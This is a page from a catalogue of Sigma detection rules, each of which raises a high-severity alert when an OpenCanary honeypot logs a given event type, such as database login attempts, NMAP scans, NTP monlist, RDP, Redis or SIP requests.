OpenCanary - MSSQL Login Attempt Via SQLAuth
Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth.
status test author Security Onion Solutions ATT&CK technique id 3ec9a16d-0b4f-4967-9542-ebf38ceac7dd
carbon_black query
logtype:9001
view Sigma YAML
title: OpenCanary - MSSQL Login Attempt Via SQLAuth
id: 3ec9a16d-0b4f-4967-9542-ebf38ceac7dd
status: test
description: |
    Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.credential-access
    - attack.collection
    - attack.t1003
    - attack.t1213
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 9001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - MSSQL Login Attempt Via Windows Authentication
Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication.
status test author Security Onion Solutions ATT&CK technique id 6e78f90f-0043-4a01-ac41-f97681613a66
carbon_black query
logtype:9002
view Sigma YAML
title: OpenCanary - MSSQL Login Attempt Via Windows Authentication
id: 6e78f90f-0043-4a01-ac41-f97681613a66
status: test
description: |
    Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.credential-access
    - attack.collection
    - attack.t1003
    - attack.t1213
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 9002
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - MySQL Login Attempt
Detects instances where a MySQL service on an OpenCanary node has had a login attempt.
status test author Security Onion Solutions ATT&CK technique id e7d79a1b-25ed-4956-bd56-bd344fa8fd06
carbon_black query
logtype:8001
view Sigma YAML
title: OpenCanary - MySQL Login Attempt
id: e7d79a1b-25ed-4956-bd56-bd344fa8fd06
status: test
description: Detects instances where a MySQL service on an OpenCanary node has had a login attempt.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.credential-access
    - attack.collection
    - attack.t1003
    - attack.t1213
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 8001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - NMAP FIN Scan
Detects instances where an OpenCanary node has been targeted by a NMAP FIN Scan
status experimental author Marco Pedrinazzi (@pedrinazziM) ATT&CK technique id eae8c0c8-e5da-450a-9d7d-66aa56cd26b6
carbon_black query
logtype:5005
view Sigma YAML
title: OpenCanary - NMAP FIN Scan
id: eae8c0c8-e5da-450a-9d7d-66aa56cd26b6
status: experimental
description: Detects instances where an OpenCanary node has been targeted by a NMAP FIN Scan
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Marco Pedrinazzi (@pedrinazziM)
date: 2026-01-06
tags:
    - attack.discovery
    - attack.t1046
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 5005
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - NMAP NULL Scan
Detects instances where an OpenCanary node has been targeted by a NMAP NULL Scan
status experimental author Marco Pedrinazzi (@pedrinazziM) ATT&CK technique id 68b8547b-107f-43f3-97fb-900a7d63c190
carbon_black query
logtype:5003
view Sigma YAML
title: OpenCanary - NMAP NULL Scan
id: 68b8547b-107f-43f3-97fb-900a7d63c190
status: experimental
description: Detects instances where an OpenCanary node has been targeted by a NMAP NULL Scan
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Marco Pedrinazzi (@pedrinazziM)
date: 2026-01-06
tags:
    - attack.discovery
    - attack.t1046
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 5003
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - NMAP OS Scan
Detects instances where an OpenCanary node has been targeted by a NMAP OS Scan
status experimental author Marco Pedrinazzi (@pedrinazziM) ATT&CK technique id e8a677fd-248c-4eab-94df-de2f6f645884
carbon_black query
logtype:5002
view Sigma YAML
title: OpenCanary - NMAP OS Scan
id: e8a677fd-248c-4eab-94df-de2f6f645884
status: experimental
description: Detects instances where an OpenCanary node has been targeted by a NMAP OS Scan
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Marco Pedrinazzi (@pedrinazziM)
date: 2026-01-06
tags:
    - attack.discovery
    - attack.t1046
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 5002
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - NMAP XMAS Scan
Detects instances where an OpenCanary node has been targeted by a NMAP XMAS Scan
status experimental author Marco Pedrinazzi (@pedrinazziM) ATT&CK technique id d7553d7b-f485-479c-b192-cdac6edd83a4
carbon_black query
logtype:5004
view Sigma YAML
title: OpenCanary - NMAP XMAS Scan
id: d7553d7b-f485-479c-b192-cdac6edd83a4
status: experimental
description: Detects instances where an OpenCanary node has been targeted by a NMAP XMAS Scan
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Marco Pedrinazzi (@pedrinazziM)
date: 2026-01-06
tags:
    - attack.discovery
    - attack.t1046
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 5004
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - NTP Monlist Request
Detects instances where an NTP service on an OpenCanary node has had a NTP monlist request.
status test author Security Onion Solutions ATT&CK technique id 7cded4b3-f09e-405a-b96f-24248433ba44
carbon_black query
logtype:11001
view Sigma YAML
title: OpenCanary - NTP Monlist Request
id: 7cded4b3-f09e-405a-b96f-24248433ba44
status: test
description: Detects instances where an NTP service on an OpenCanary node has had a NTP monlist request.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.impact
    - attack.t1498
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 11001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - RDP New Connection Attempt
Detects instances where an RDP service on an OpenCanary node has had a connection attempt.
status experimental author Marco Pedrinazzi (@pedrinazziM) ATT&CK sub-technique id 598290cf-5932-45cd-9123-be1e05ab4f2e
carbon_black query
logtype:14001
view Sigma YAML
title: OpenCanary - RDP New Connection Attempt
id: 598290cf-5932-45cd-9123-be1e05ab4f2e
status: experimental
description: Detects instances where an RDP service on an OpenCanary node has had a connection attempt.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Marco Pedrinazzi (@pedrinazziM)
date: 2026-01-06
tags:
    - attack.initial-access
    - attack.lateral-movement
    - attack.persistence
    - attack.t1133
    - attack.t1021.001
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 14001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - REDIS Action Command Attempt
Detects instances where a REDIS service on an OpenCanary node has had an action command attempted.
status test author Security Onion Solutions ATT&CK technique id 547dfc53-ebf6-4afe-8d2e-793d9574975d
carbon_black query
logtype:17001
view Sigma YAML
title: OpenCanary - REDIS Action Command Attempt
id: 547dfc53-ebf6-4afe-8d2e-793d9574975d
status: test
description: Detects instances where a REDIS service on an OpenCanary node has had an action command attempted.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.credential-access
    - attack.collection
    - attack.t1003
    - attack.t1213
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 17001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - SIP Request
Detects instances where an SIP service on an OpenCanary node has had a SIP request.
status test author Security Onion Solutions ATT&CK technique id e30de276-68ec-435c-ab99-ef3befec6c61
carbon_black query
logtype:15001
view Sigma YAML
title: OpenCanary - SIP Request
id: e30de276-68ec-435c-ab99-ef3befec6c61
status: test
description: Detects instances where an SIP service on an OpenCanary node has had a SIP request.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.collection
    - attack.t1123
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 15001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
Showing 651-700 of 1,677